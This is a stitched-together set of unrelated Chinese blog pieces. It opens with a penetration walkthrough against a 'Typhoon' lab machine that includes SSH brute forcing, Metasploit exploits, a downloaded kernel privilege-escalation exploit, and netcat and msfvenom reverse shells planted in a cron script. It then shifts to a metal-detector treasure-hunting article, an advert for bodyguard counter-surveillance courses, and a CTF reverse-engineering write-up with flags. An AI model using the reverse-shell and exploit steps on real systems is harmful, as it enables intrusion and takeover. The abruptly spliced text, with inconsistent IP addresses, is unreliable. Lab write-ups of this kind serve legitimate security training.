#100000) | rpcinfo: | program version port/protoservice | 100000 2,3,4111/tcp rpcbind | 100000 2,3,4111/udp rpcbind | 100003 2,3,42049/tcp nfs | 100003 2,3,42049/udp nfs | 100005 1,2,338424/udp mountd | 100005 1,2,353737/tcp mountd | 100021 1,3,444055/udp nlockmgr | 100021 1,3,460468/tcp nlockmgr | 100024 139322/tcp status | 100024 145147/udp status | 100227 2,32049/tcp nfs_acl |_ 100227 2,32049/udp nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imapDovecot imapd 445/tcp open netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP) 631/tcp open ippCUPS 1.7 | http-methods: |_ Potentially risky methods: PUT | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/1.7 IPP/2.1 |_http-title: Home - CUPS 1.7.2 993/tcp open ssl/imapDovecot imapd |_imap-capabilities: CAPABILITY | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server | Not valid before: 2018-10-22T19:38:49 |_Not valid after:2028-10-21T19:38:49 |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3s? | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server | Not valid before: 2018-10-22T19:38:49 |_Not valid after:2028-10-21T19:38:49 |_ssl-date: TLS randomness does not represent time 2049/tcp open nfs_acl 2-3 (RPC #100227) 3306/tcp open mysql MySQL (unauthorized) 5432/tcp open postgresql PostgreSQL DB 9.3.3 - 9.3.5 | ssl-cert: Subject: commonName=typhoon | Not valid before: 2018-10-22T19:38:20 |_Not valid after:2028-10-19T19:38:20 |_ssl-date: TLS randomness does not represent time 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat MAC Address: 00:0C:29:5A:82:7D (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Hosts: typhoon, TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -39m59s, deviation: 1h09m15s, median: 0s |_nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 4.1.6-Ubuntu) | Computer name: typhoon | NetBIOS computer name: TYPHOON\x00 | Domain name: local | FQDN: typhoon.local |_ System time: 2019-01-30T16:20:26+02:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-01-30 09:20:26 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 1.21 ms 192.168.1.104 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 193.97 seconds 可发现80,8080,22等端口开放。 3.目录扫描 通过dirb对目标网站进行扫描发现存在phpmyadmin以及robots.txt和drupal，cms等目录文件 0x03靶机攻击 1. ssh端口爆破 1.1枚举账号 发现端口22开放，其版本为openssh 6.6.1p1，利用OpenSSH新爆出的CVE爆出目标主机的用户，这对特定的用户爆破密码，建议爆破1000条。先用searchsploit查找OpenSSH 6.6.1p1出现的漏洞，找到两个用户名枚举漏洞. root@kali2018:~#searchsploit openssh 利用msf进行账号枚举。这里的用户名字典我采用： https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/namelist.txt 上图中可以看到成功枚举出admin账号，通过hydra对靶机的ssh进行爆破。 hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz -t4 ssh://192.168.1.104 可以看到成功爆破了ssh,用户名为：admin 密码为：metallica 本地登录远程靶机的ssh ssh [email protected] 1.2权限提升 登陆进去以后我尝试命令：sudo bash , 再输入密码发现成功的GET到root权限，这种方法不稳定 admin@typhoon:~$ sudo bash [sudo] password for admin: root@typhoon:~# 2. web 应用mongo 2.1 信息收集 通过上面nmap扫描出80端口带有的mongoadmin目录以及目录扫描出来的robots.txt 访问：http://192.168.1.104/robots.txt 转到该目录，您将看到一个用于管理公开的Mongo实例的Web界面, 稍后点击几下，您将看到SSH帐户的凭据 ssh typhoon@192,168.30.129 2.2权限提升 获得低权限shell后，下一步是将权限升为root。在您的信息收集过程中，您会注意到一个看起来很奇怪的脚本/tab/script.sh find / -type f -perm /o+w 2>/dev/null | grep -Ev '(proc|sys|www)' 可以猜测该脚本是以root用户权限运行的一个cron。那么我们可以nc用来进行反弹shell。但是，主机上nc没有-e选项。 没问题。我们仍然可以做这样的事情。一方面，nc在攻击机器上打开一个监听器。另一方面，将以下命令添加到/tab/script.sh echo 'rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.30.128 1234 >/tmp/p' >> /tab/script.sh 在攻击主机上执行NC进行监听 nc -lvvp 1234 3. web应用cms 3.1 漏洞攻击 更进一步，我做了nikto扫描主机，并找到了一些有趣的目录。 扫描结果之后在/cms目录中，发现一个内容管理系统正在运行，称为“LotusCMS” 过单击login选项，已重定向到CMS登录后台页面。 然后我搜索了此CMS登录的默认凭据，我发现此CMS容易受到eval（）函数中存在的一个远程执行代码漏洞的攻击。 通过链接浏览，我发现metasploit为此提供利用exp 在kali中打开msfconsole,并使用了以下exp 然后设置RHOST的远程IP地址和运行CMS的URI路径。 msf > search lcms_php_exec Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- --------------- exploit/multi/http/lcms_php_exec2011-03-03 excellent LotusCMS 3.0 eval() Remote Command Execution msf > use exploit/multi/http/lcms_php_exec msf exploit(multi/http/lcms_php_exec) > show options Module options (exploit/multi/http/lcms_php_exec): Name Current Setting RequiredDescription ---- --------------- ------------------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections URI /lcms/ yes URI VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Automatic LotusCMS 3.0 msf exploit(multi/http/lcms_php_exec) > set rhost set rhost msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.104 rhost => 192.168.1.104 msf exploit(multi/http/lcms_php_exec) > set rport 80 rport => 80 msf exploit(multi/http/lcms_php_exec) > set URI /cms/ URI => /cms/ msf exploit(multi/http/lcms_php_exec) > exploit [*] Started reverse TCP handler on 192.168.1.21:4444 [*] Using found page param: /cms/index.php?page=index [*] Sending exploit ... [*] Sending stage (37775 bytes) to 192.168.1.104 [*] Meterpreter session 1 opened (192.168.1.21:4444 -> 192.168.1.104:42221) at 2019-01-30 12:04:16 -0500 meterpreter > pwd /var/www/html/cms meterpreter > shell Process 20898 created. Channel 0 created. /bin/bash -i bash: cannot set terminal process group (2480): Inappropriate ioctl for device bash: no job control in this shell 当我运行'exploit'命令时，我的反向shell被执行了，得到了一个session会话。 在获得了meterpreter会话后，已经进入了一个交互式bash shell，发现用户是id为33的'www-data' 3.2 权限提升 进入系统后，使用以下命令检查操作系统的内核版本 uname -a 获得Linux版本后，使用searchsploit搜索漏洞，发现Linux内核版本“overlayFS”容易受到本地权限提升的影响。 root@kali2018:~# searchsploit linux 3.13.0 然后将利用exp复制到/opt目录下 root@kali2018:~# cp /usr/share/exploitdb/exploits/linux/local/37292.c /opt 使用python搭建小型http服务器，以提供利用exp下载 python -m SimpleHTTPServer 81 使用wget命令将该利用exp从kali主机下载到到目标主机tmp目录。（只有tmp目录具有写入文件的权限) www-data@typhoon:/var/www/html/cms$ cd /tmp www-data@typhoon:/tmp$ wget http://192.168.1.21:81/37292.c wget http://192.168.1.21:81/37292.c --2019-01-30 19:24:13-- http://192.168.1.21:81/37292.c Connecting to 192.168.1.21:81... connected. HTTP request sent, awaiting response... 200 OK Length: 5119 (5.0K) [text/plain] Saving to: '37292.c' 0K ....100% 8.28M=0.001s 2019-01-30 19:24:13 (8.28 MB/s) - '37292.c' saved [5119/5119] www-data@typhoon:/tmp$ ls 37292.c 65d9383ff514cbd01ac65e38806095d7.dat 8c10a35add3f21e11383c7911852072e.dat f71487e6e9c666dc5b99e37305c00db5.dat hsperfdata_tomcat7 mongodb-27017.sock tomcat7-tomcat7-tmp 使用以下命令编译exp gcc <exploitname> -o <输出文件名> www-data@typhoon:/tmp$ gcc 37292.c -o37292 www-data@typhoon:/tmp$ ls 当我运行已编译的文件时，将普通用户通过升级权限成为root用户 www-data@typhoon:/tmp$ ./37292 使用命令/bin/bash -i将生成交互式shell # /bin/bash -i falg: 进入root目录然后读取flag信息 root@typhoon:/tmp# cd /root root@typhoon:/root# cat root-flag 4. web应用Tomcat 4.1 漏洞攻击 使用Tomcat Manager Upload获取meterpreter，然后进一步建立反向连接以获得root访问权限。 从namp扫描端口可发现8080端口已开发，并且是Apache Tomcat / Coyote JSP Engine 1.1版本。在浏览器上窗口中打开地址：http://192.168.1.104:8080 使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 使用msf对其tomcat进行攻击。 4.2 权限提升 我们需要使用Msfvenom创建一个bash代码： msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.21 lport=2223 R 之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件 echo "mkfifo /tmp/uodb; nc 192.168.1.21 222 0</tmp/uodb | /bin/sh >/tmp/uodb 2>&1; rm /tmp/uodb " > script.sh 由于恶意代码是使用script.sh文件执行的。因此我们在netcat监听器上有一个反弹shell。 5.web应用drupal 通过上面目录扫描工具dirb对目标网站扫描发现有drupal cms 我们通过利用metasploit搜索Drupal cms模块漏洞进行攻击 use exploit/unix/webapp/drupal_drupalgeddon2 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.104 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit 6.Tomcat的后台管理获取shell 通过上面目录扫描工具dirb扫描发现8080端口开放的tomcat服务 通过google可知默认的tomcat后台目录为/manager/html，用户名：tomcat，密码：tomcat 我们可以msfvenom来生WAR文件 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21 LPORT=4444 -f war -o evil.war 可以看到evulll.war具体内容： 我已经成功部署了webapp 要访问恶意Web应用程序，请在浏览器的地址栏中输入以下内容： http://192.168.1.104:8080/evil/tudvpurwgjh.jsp 本地监听NC可反弹 同是也可以上传大马war包

之前杨叔在加拿大一个商场的渔猎柜台，突然看到几款高灵敏度金属探测器，便想起了之前看过的探宝资料，好久没更新，赶紧分享给大家~ 注：以下内容符合OSINT国际开源情报搜集标准，不涉及任何非法行为，仅供交流与参考。 01 海滩上的“宝藏猎人” 这个世界的海水下蕴藏着无数的宝藏，除了那些传说中海盗或者纳粹的宝藏之外，还有很多是由于各种原因，人们失落到海里的珠宝首饰。 有个专门的词形容那些探宝的人：“Treasure hunter”，即：宝藏猎人。 David Stone就是这样一个幸运儿，由于加勒比海的游客们来自世界各地，所以通过金属探测器，他在那里的水域收获了许多“战利品”。 “你永远不知道会发现什么。每次出去都会有新的体验。”他说。 过去六年，他在Onset海滩发现了1910年的10角硬币，以及同等金额的银币。 他还发现了很多宗教物品，例如十字架和圣克里斯托弗奖章。 他的藏品还包括钥匙链、发夹和硝化甘油容器。 令人惊讶的是，他发现的珠宝中大约90%都是男士婚戒。 “很多结婚戒指都会有雕刻和日期，”他说，比如他在帕克伍德海滩地区发现了一枚非常古老的银戒指，上面刻有姓名缩写。 “这枚戒指是由美国最早的女银匠之一制作的，”他说， “波士顿现代主义珠宝商 Ella L. Cone是The Silversmith's Shop的设计师和老板，该店位于波士顿博伊尔斯顿街342号。20世纪50~60年代，她在波士顿和开普敦都有店面。” 当然，并不是所有的东西都值得保留，“我确实发现了很多垃圾，”他说。 “比如钉子、瓶盖......我通常会把这些垃圾收到袋里，然后拿回海滩丢弃。这样有助于环境保护，也可以确保自己不会再被同一个垃圾干扰。” 最神奇的是，在某个海滩度假村附近，他发现了一枚7.62口径的AK47子弹。 .......听起来还蛮有趣，杨叔觉得这个爱好很适合具备冒险精神，热爱户外，又喜欢独处或者小团队活动的朋友们。 02 必备装备：金属探测器 如果在山区里看到这些穿着迷彩服或者户外装，却手持一个类似扫雷设备的人，别惊讶，没什么地雷爆炸物，他们只是在探宝而已~ “嗯，人人都想成为宝藏猎人，但运气和装备同样重要。 ----杨叔语录” 对于宝藏猎人，最主要的装备包括： 其它都好理解，我们重点看看金属探测器。 ■ 设备原理： 杨叔简单解释一下金属探测器的工作原理。大部分消费级金属探测器有一个被称为“搜索线圈”的圆头，它是实际进行检测的部分。线圈包含两个部分，分别是发射线圈和接收线圈。 当打开探测器时，设备会将电流发送到发射器线圈中，当线圈垂直于地面时，会产生一个电磁场，该电磁场会深入地面。磁场会引发地下金属物体发出自己的磁场，而探测器线圈通过读取这些磁场，就可以根据相反磁场的相对强度确定物体在地下的深度或距离。 许多探测器还可以通过测量物体的相移或发射器线圈改变电流时物体做出反应所需的时间，来确定它们正在检测的金属类型（在限制范围内）。 这种称为“Discrimination”的技术可以帮助使用者区分宝藏和垃圾，不过杨叔觉得，这个肯定会产生很多误报，还是需要依赖更多经验。 ■ 设备选择： 金属探测器主要分为三种类型，按成本顺序排列：甚低频 (VLF)、多频和脉冲感应 (PI)。 VLF甚低频探测器一次仅在一个频率上运行，它们是为寻找硬币和珠宝的入门级爱好者而设计的，但不适用于黄金勘探或扫描咸水海滩。 多频探测器可同时检测一系列频率，这使它们成为专业爱好者的选择，特别是那些计划在潮湿条件下搜索的人。它们通常比VLF同类产品贵，但可用于矿化土壤和咸水海滩。 PI脉冲感应探测器是用于打捞和金矿勘探的专业级设备，使用与甚低频和多频探测器不同的技术，发出短脉冲的强大电流来扫描地下深处。 虽然脉冲感应探测器可以探测埋藏较深的金属，但它们在区分不同类型金属时会存在很多困难，使得操作者不得不尝试挖出发现的每一块金属。 淘金者和潜水员在咸水海滩和其他矿化地面上会使用脉冲感应探测器，所以显然地，这类设备不适合大多数爱好者。 至于收获嘛，马马虎虎吧......咳咳，也就是些黄白之类的俗物 哈哈，新手期望别太大，可能收获更多的都是金属丢弃物，Like this： 03 探宝女猎人 What？你觉得女孩几不喜欢这个？只喜欢飞盘和露营？ 嘿嘿，有挑战又有收益，仿佛现代版“摸金校尉”，手持神似“寻龙诀”般的电子设备，淘到的都是古代金银币镯子，又没有下墓遇大粽子的风险，这不比单纯的进山露营香？ 从春夏到秋冬，从海边到山区，国外那些热爱户外的妹纸们也纷纷开启了探宝之旅。大福不奢望，小福看运气，但平时给自己买几身新衣、下几次日料馆子还是So Easy的~ 咳咳，纯粹是感兴趣哈，后面杨叔也打算加入当地探宝队伍体验一番，还有谁要报名？ 最后，放一张金属探测器厂商广告图。 啧啧，看看人家这拍摄角度，国内同行学着点~

篇首语：只见他熟练地打开检测设备，在卧室快速地扫描，片刻后起身对着女主点点头，示意可以就寝......这是2018年热剧《保镖》里的镜头。 PPO，Personal Protection Officer，私人安防官，也是我们常说的高端保镖，区别于传统意义上的私人保镖或者保镖团队，PPO的定位已经从战术技能型保镖，转向技术全能型发展。 所谓“技术全能型高端保镖”，即除了必须具备的枪械格斗驾驶等标准技能外，还要求对新安防领域的技术、装备和如何确保高净值客户的隐私安全技能，均有一定深度的涉猎，并能够根据需求自行检索和分析情报，做出快速反应。 著名的“英国丽兹酒店亿万富豪套房窃听事件”就说明了，在套房外职业保镖们的严密守护下，亿万富翁依然被自己的外甥，通过一款民用非法器材窃听了数月。 可见，没有技术层面的支持，即使是职业安保人员，也并不能阻止窃密/泄密的发生。 现在这个竞争愈发激烈时代，若连基本的物理安全检测都不会，还怎么保护雇主的隐私安危呢？ 声明：以下内容遵循OSINT国际开源情报检索标准，部分来自RC²业务的相关场景，仅供参考。 0x01 识别干扰信号+隐蔽告警 在很多时候，贴身保镖需要陪同雇主参与一些商谈或交流，有时候是在对方安排的场所，比如商务会谈室、商务会所，甚至别墅等等。 而出于某种情况，在未知的场景下，可能会遭遇到信号屏蔽干扰的情况。 比如正在会谈中，突然有信号屏蔽设备工作，此时所有的无线信号都将受到干扰，如4G、5G手机信号、无线电信号、WiFi、蓝牙等等。 作为职业保镖，应该能够关注到自己手机信号出现的异常，但是，能否迅速判断出是特定范围的干扰，还是运营商基站的临时故障，亦或者是突发外部情况，这就需要相关设备和技能的学习。 再比如：某款放在衣物内的特殊设备，能够为雇主和高级安保人员提供隐藏预警（振动等方式），以便快速评估风险，及时撤离环境。 亦或者，由外围负责监控无线信号的保镖专员，实时识别可疑信号，并进行快速响应，甚至信号压制。 防范遭遇可疑IED（爆炸物）引爆的技术防御措施之一，就是启动以VIP车辆为中心，半径15米以上的全频带无线信号压制。 对于高端保镖，还是有必要了解高净值群体的技术防卫解决方案滴~ 0x02 室内专业检测设备 在英剧《保镖》里，那位专业的PPO，在每天护送首相回家后，都要开展快速的物理安全检测，类似的场景在很多电影中也都出现过。 那么，对于高端保镖， 首先，使用的可不是网店里的那些民用设备，只有那些经受过一线专家实战检验过的专业设备（比如使馆、国际级重要会场检查等场景），才能确保专业安全检测的意义。 其次，对于高级会所等场景，未经受过完整专业物理安全检测训练的人，即使带着贵重的设备，也只是心理安慰自己和客户而已。 杨叔就曾听国内100强客户描述过，有供应商带了全套专业设备，但现场检测没有任何规范一片混乱，最后客户自己都看不下去...... 下图是欧洲高级安保团队携带的专业检测设备。 0x03 检查GPS车辆跟踪器 无论在国内还是国外，车辆GPS跟踪器已经处于泛滥的状态，如何确保雇主没有被恶意跟踪定位，也是高级保镖必须面对的一个主题。 这些年，有学员给杨叔发过这样的短视频： 视频里都是一位穿着帅气保安服的小姐姐或小哥哥，用一个长杆反光镜快速查看奔驰车底，然后转身冲镜头摆了个英姿飒爽的姿势，说： “专业安全检测，确保客户安全。” 不多解释了，直接看看国外专业检测团队的做法，下面是加拿大团队的专业车辆检测： 2019年，RC²反窃密实验室举办的「PPES-103 初级车辆检测」认证课程里，学员们在升降机下，了解车辆底盘结构，并通过基本的车辆拆卸，深刻理解常见GPS跟踪器的位置与风险。 2019年，日本北海道，在「Level-3 物理隐私风险控制专家」认证课程里，学员们在专业调查员的指导下，亲身体验日系车型里常见的GPS定位跟踪器安放位置。 2021年，RC²反窃密实验室举办的「Level-4 TSCM物理安全检测专家」认证课程里，学员们使用专业便携式X光机对车辆局部进行透检。 在Level-4高级课程里，学员们在车辆专家的指导下，学习拆卸/组装宝马、奔驰车的车门、驾驶座位、后备箱内饰等。 简单来说， 1，如果没有专业的升降机，单纯使用反光镜，根本无法查看到车辆底盘的死角。 2，无论什么车型，标准的车辆检测一定会涉及拆卸环节，否则无法验证可疑信号及特定器材，拆卸环节占整体车辆检测工作的80%以上。 而且，有限度的精准拆车，才能确保车辆检测的意义。 当然，对于高端安保人员来说，也需要掌握更多的快速方法~ 所以说， 主播可以靠包装去引流， 普通保安可以从简应付， 但是， 高端保镖，绝对不能忽悠雇主~ 别担心， RC²计划推出面向高端保镖的“ALPHA技术防御”系列课程，将包括： 开源情报主动搜集、高复杂度环境检测、车辆反跟踪、海外专业侦测设备等方面，从根本上解决这些难题，敬请期待~ 注：企业定制课程，欢迎咨询RC²官方唯一客服~~

比赛信息 比赛名称：SHCTF-“山河”网络安全技能挑战赛 比赛平台：山河CTF 参赛对象：齐鲁工业大学、西安邮电大学、广东海洋大学、长春工程学院、郑州轻工业大学、河南大学、齐鲁师范学院、陕西邮电职业技术学院、陕西工业职业技术学院、商丘师范学院、咸阳师范学院 (排名不分先后)等十余所高校参与 比赛时间：2023-10-02 ~ 2023.10.29 协办单位：山东汉任信息安全技术有限公司，吉林谛听信息技术有限公司 题目详解 [WEEK1] ez_asm 拿到题目之后，从题目名字中的”asm”可以看出，这是一道考察汇编语言的题目，我们要有一定的汇编语言基础。下载下来可以看到给了我们一个txt文本，那么这里面一定是汇编块。打开之后确实是汇编块。 那么接下来就是 找到右上方的(x)用小手点击一下鼠标左键 哐哐一顿分析啦，详细的分解步骤就不多说了，这里涉及到汇编语言的知识，我简单解释一下它的逻辑： 这段汇编代码的功能是对一个字符串（flag）进行加密处理，然后输出加密后的结果。具体的操作步骤如下： 首先，定义一个变量var_4，用来存储字符串的索引，初始值为0。 然后，进入一个循环，对字符串的每个字符进行两次异或和减法操作，具体如下： 将var_4作为偏移量，从flag中取出一个字符，与16进制数0x1E异或，得到新的字符。 将新的字符存回flag中覆盖原来的字符。 再次从flag中取出同一个字符，减去16进制数0x0A，得到最终的加密字符。 将最终的加密字符存回flag中覆盖原来的字符。 将var_4加一，准备处理下一个字符。 循环结束的条件是var_4等于16进制数0x27，也就是字符串的长度。 最后，调用printf函数，输出加密后的字符串。 下面是我们对这段ASM加密算法翻译后的代码： #include<string> #include<iostream> using namespace std; string encrypt(string s) { string result = ""; for (char c : s) { unsigned int x = (unsigned int)c; x ^= 0x1E; x -= 0x0A; result += (char)x; } return result; } int main() { string flag = ""; string crypt_str = encrypt(flag); cout << crypt_str << endl; return 0; } 那么知道了加密的原理，下面就是解密啦，我们只需要把这段加密过程逆过来运算即可： 逐一遍历flag的每一个字符，对每一个字符进行逆运算操作。 将每一个字符都加上16进制数0x0A 再将每一个字符都与16进制数0x1E进行异或操作 最后逐一储存在result中并返回原始字符串 代码如下： #include<string> #include<iostream> using namespace std; string decrypt(string s) { string result = ""; for (char c : s) { unsigned int x = (unsigned int)c; x += 0x0A; x ^= 0x1E; result += (char)x; } return result; } int main() { string flag = ""; string crypt_str = decrypt(flag); cout << crypt_str << endl; return 0; } 我们将题目提供的加密后的字符串：nhuo[M7mc7uhc$7midgbTf7`$7%#ubf7 ci5Y填进去，并运行这段代码，即可输出正确的flag：flag{It_is_als0_impor@nt_t0_13arn_4sm!} [WEEK1] easy_re 将题目下载下来，发现这是一个可执行程序，那么我们要做的第一步就是查壳，确定程序的PE类型：(查壳图片略)，查壳过后我们发现这是一个x64可执行程序，打开之后我们会发现他是直接让我们输入flag的： 那根据我们的直觉或者经验，可以看出，他肯定有一套验证flag是否正确的算法，我们直接拖进IDA看看之后发现，所有的验证代码全都在Main函数里，而且没有任何混淆： 从伪代码的这一部分分析可以知道，处理过后的字符串通过与des字符数组对比，判断是否相等，从而得出是否正确，那么des的字节就是我们需要的，我们双击des可以跳转到des的数据块，从这里可以看到des的所有字节数据： 我们直接从HEX进制窗口中复制这一段字节： 66 C6 16 76 B7 45 27 97 F5 47 03 F5 37 03 C6 67 33 F5 47 86 56 F5 26 96 E6 16 27 97 F5 07 27 03 26 C6 33 D6 D7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 代码段Str[i] = (Str[i] >> 4) | (16 * Str[i]);其实是位操作中的典型算法：位交换，即把每一个字节的高低位互换位置，那么如果我们想要得到原始数据，就需要把des的高低位互换回去，我们只需要重新调用一次这个算法即可，代码以及运行结果如下： #include<string> #include<iostream> #include<stdio.h> #include<windows.h> using namespace std; int main() { BYTE des[64] = { 0x66, 0xC6 ,0x16 ,0x76 ,0xB7 ,0x45 ,0x27 ,0x97 , 0xF5 ,0x47 ,0x03 ,0xF5 ,0x37 ,0x03 ,0xC6 ,0x67 , 0x33 ,0xF5 ,0x47 ,0x86 ,0x56 ,0xF5 ,0x26 ,0x96 , 0xE6 ,0x16 ,0x27 ,0x97 ,0xF5 ,0x07 ,0x27 ,0x03 , 0x26 ,0xC6 ,0x33 ,0xD6 ,0xD7 ,0x00 ,0x00 ,0x00 , 0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 , 0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 , 0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 }; for (auto i = 0; i < 64; ++i) { des[i] = (des[i] >> 4) | (16 * des[i]); printf("%X ", des[i]); } return 0; } 将右图字节集转换为字符串即为flag：flag{Try_t0_s0lv3_the_binary_pr0bl3m} [WEEK1] signin 下载题目，发现是一个可执行程序，查壳发现是一个64位的可执行程序，运行，啥玩意都没有，我们直接拖进IDA查看Main函数，好了，flag就在眼前：flag{flag1sinarray} [WEEK1] seed 下载题目，发现是一个可执行程序，查壳发现是一个64位的可执行程序，运行，直接让我们输入falg，我们直接拖进IDA查看Main函数，可以看到这里与[WEEK1]easy_re是大同小异的，都是异或操作之后与内存中的一串字节des对比，我们直接逆运算即可得出来原本的输入数据，要注意这里是与取随机数之后的v5数组进行异或，我们要先模拟v5，再进行异或。 解密代码以及运行结果如下： #include<string> #include<iostream> #include<stdio.h> #include<windows.h> using namespace std; int main() { DWORD des[48] = { 0x00000040 ,0x00000029 ,0x00000028 ,0x000000E9 ,0x000000C2 ,0x00000004 ,0x000000A4 ,0x000000ED , 0x0000009F ,0x00000053 ,0x0000005F ,0x00000075 ,0x0000003C ,0x000000D1 ,0x000000CD ,0x0000002B , 0x000000A8 ,0x000000C4 ,0x00000089 ,0x00000069 ,0x00000015 ,0x00000021 ,0x00000016 ,0x000000EF , 0x000000D7 ,0x00000027 ,0x00000092 ,0x000000DF ,0x000000CA ,0x00000053 ,0x0000005F ,0x0000002A , 0x0000003C ,0x000000D1 ,0x000000CE ,0x00000003 ,0x000000A3 ,0x000000EF ,0x000000A5 ,0x00000078 , 0x00000016 ,0x0000001A ,0x0000002D ,0x000000E1 ,0x000000C4 ,0x00000000 ,0x00000000 ,0x00000000 }; BYTE v5[10]; srand(0); for (auto i = 0; i <= 9; ++i) { v5[i] = rand() % 255; } for (size_t i = 0; i <= 44; i++) { auto v1 = des[i] ^ v5[i % 10]; printf("%X ", v1); } return 0; } 执行代码，并输出数据即可得到flag的字节集，转换为字符串即可得到flag：flag{Give_y0u_the_se3d_and_D0_you_w@nt_t0_do} [WEEK1] easy_math 下载题目，发现是一个py文件，里面是关于对flag进行加密的算法，分析一下算法可知： 要求输入flag，并且程序会检查输入的字符串是否是42个字符长。如果不是，程序将打印出”Check your length!”并且退出程序。 如果输入的字符串长度符合要求，程序将进入一个循环。在这个循环中，输入的字符串被分成6个部分，每个部分包含7个字符。然后将每个部分中的字符转换成对应的ASCII码，再转换成16进制的形式。这些16进制数值会被存储在列表l中。 接下来的部分是一系列的条件判断。程序会检查列表l中的值是否满足一组复杂的方程式，其中每个方程式的右边都是一个十六进制数。如果所有的条件都满足，程序会打印”Good job!”，否则打印”Wrong\nTry again!!!”并退出程序。 题目源代码如下： print("Please input flag:") flag = input() if len(flag)!=42: print("Check your length!") exit() l=[] for i in range(6): s="" for j in flag[i*7:i*7+7]: s+=hex(ord(j))[2:] l.append(int(s,16)) if ( (593*l[0] + 997*l[1] + 811*l[2] + 258*l[3] + 829*l[4] + 532*l[5])== 0x5b8e0aef71d34ff43 and \ (605*l[0] + 686*l[1] + 328*l[2] + 602*l[3] + 695*l[4] + 576*l[5])== 0x551a262360964ef7f and \ (373*l[0] + 512*l[1] + 449*l[2] + 756*l[3] + 448*l[4] + 580*l[5])== 0x49d158a5657d6931c and \ (560*l[0] + 635*l[1] + 422*l[2] + 971*l[3] + 855*l[4] + 597*l[5])== 0x625568d5abbabf4f3 and \ (717*l[0] + 507*l[1] + 388*l[2] + 925*l[3] + 324*l[4] + 524*l[5])== 0x50ee0c025e70e3c23 and \ (312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x40e735f8aa2815f65): print("Good job!") else: print("Wrong\nTry again!!!") exit() 其实到了这一步，看到了解方程这里，这道题目就很简单了，我们直接调用python的sympy库对方程进行求解，即可得到原始flag的数据，下面是简单的python代码： 运行后即可得到原始的flag字符串，即为：flag{N0_One_kn0ws_m@th_B3tter_Th@n_me!!!!} [WEEK2] 签到题？ 下载题目，发现是一个可执行程序，查壳发现是一个32位的可执行程序，运行，随便输入一个密钥，会输出给我们一份加密后的字符串，我们直接拖进IDA查看Main函数： 进入IDA后，我们发现，程序开始对ArgList已经赋值了，紧接着又对其部分位置的字符进行了修改，此处的代码编译器进行了优化，我们很难看出来他的执行逻辑，那么我们可以另辟蹊径，通过动态调试来拿到修改后的ArgList的数值，此处动态调试的过程不再展示。 紧接着他又利用我们输入的那个密钥对ArgList进行了进一步的加密，然后输出了加密后的字符串。此处出题人其实是在迷惑我们，其实第一次处理后的ArgList就是用Base64编码后的字符串，我们直接动态调试出第一次处理后ArgList的字节集，然后用伪代码中出题人给的异或算法输出Base64编码后的字节集，将输出的字节集转换为字符串，并将字符串用Base64解码即可得到flag：flag{a10e7ccc-b802-e3eb-c85940e226d} 下面是解密代码以及运行结果： [WEEK2] not gcc 拿到题目我们可以发现是.bc文件，经过搜索我们可以知道，bc文件为LLVM IR bitcode文件，所谓LLVM IR bitcode文件 ，就是代码到可执行文件的中间码。我们可以使用命令将其继续编译下去 ，生成可执行文件。 在linux下 ，我们使用命令clang not_gcc.bc -o not_gcc(这里文件需要改名 ，题目文件有空格 ，将其改为_) 生成可执行文件，我们放入ida中进行分析： 各种跳转 ，有点花 ，不好厘清逻辑，动态调试 ，厘清一下思路： 先判断字符长度 ，81位： 判断第一个输入的字符是否为0： 判断输入 ，输入字符的都必须满足1~9： 进入关键逻辑，进入函数内部 ，分析逻辑可以知道 ，是生成了9*9的数独盘 ，以0为标志 ，作为未填充： 因此需要我们写脚本将数独解出： 我们可以解出数独为：497513268538426917612987354759164823261839475843275196986351742125748639374692581 这个就是我们的解出来的数独，但是由于程序有第⼀位检测，所以我们需要将第⼀位的4改为0 